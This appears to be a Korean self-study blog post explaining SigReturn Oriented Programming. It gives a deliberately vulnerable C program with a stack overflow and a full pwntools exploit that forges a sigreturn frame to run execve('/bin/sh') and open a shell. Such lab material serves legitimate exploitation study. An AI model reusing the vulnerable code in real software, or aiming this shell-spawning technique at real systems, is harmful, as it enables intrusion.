Self-Improvement
SROP(SigReturn Oriented Programming) 기초 예제 본문
CODE
1
2
3
4
5
6
7
8
9
10
11
12
13
|
// gcc -o srop srop.c -fno-stack-protector -mpreferred-stack-boundaey=2
char sh[] = "/bin/sh";
void int80()
{
asm("int $0x80");
}
void main()
{
char buf[8];
read(0, buf, 128);
}
|
cs |
int 0x80 가젯과 EAX를 제어할 수 있는 read()함수가 존재하여 SROP가 가능하다.
자세한 사항은 위 참고자료를 확인해본다.
read()함수에서 119개의 문자열을 입력하여 EAX를 0x77로 만들어준다.
read()함수는 입력한 길이만큼 EAX로 반환되기 때문이다.
0x0a를 포함하므로 118개의 A문자열을 입력해주었다.
int 0x80 가젯은 코드내에 있음으로 찾아준다.
"/bin/sh"도 코드내에 있음으로 찾아준다.
Python Pwntools
syscall은 int0x80 주소이다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
from pwn import *
s = process('./srop')
syscall = 0x804840e
payload = "A"*12
payload += p32(syscall)
payload += p32(0x33)
payload += p32(0)
payload += p32(0x7b)
payload += p32(0x7b)
payload += p32(0)
payload += p32(0)
payload += p32(0) #ebp
payload += p32(0) #esp
payload += p32(0x804a01c)
payload += p32(0)
payload += p32(0)
payload += p32(0xb)
payload += p32(0)
payload += p32(0)
payload += p32(syscall)
payload += p32(0x73)
payload += p32(0x246)
payload += p32(0)
payload += p32(0x7b)
payload += "\x00"*(118-len(payload))
s.sendline(payload)
s.interactive()
|
cs |
개념은 이해가 됬지만 실제 문제로 나올시엔 "/bin/sh"의 문자열을 bss영역에 쓰고 읽고 해야되는데.. 진짜로 풀어봐야 알 수 있을 것 같다.
'리버싱 기초' 카테고리의 다른 글
Return to csu (64bit ELF ROP작성 시 가젯의 부재를 해결하는 방식) 정리 (0) | 2020.06.17 |
---|---|
Fake EBP 예시 및 설명 (0) | 2020.06.15 |
[Memory Leak] Canary 적용된 ROP 풀이 Pwntools 사용 (0) | 2020.05.31 |
ROP 예제 및 Python pwntools 풀이 사용법 및 쉽게 설명 (0) | 2020.05.27 |
gcc Dummy 옵션(-mpreferred-stack-boundary) 존재 상태에서 스택 버퍼 오버플로우 실습 (Stack Buffer OverFlow) (0) | 2020.05.19 |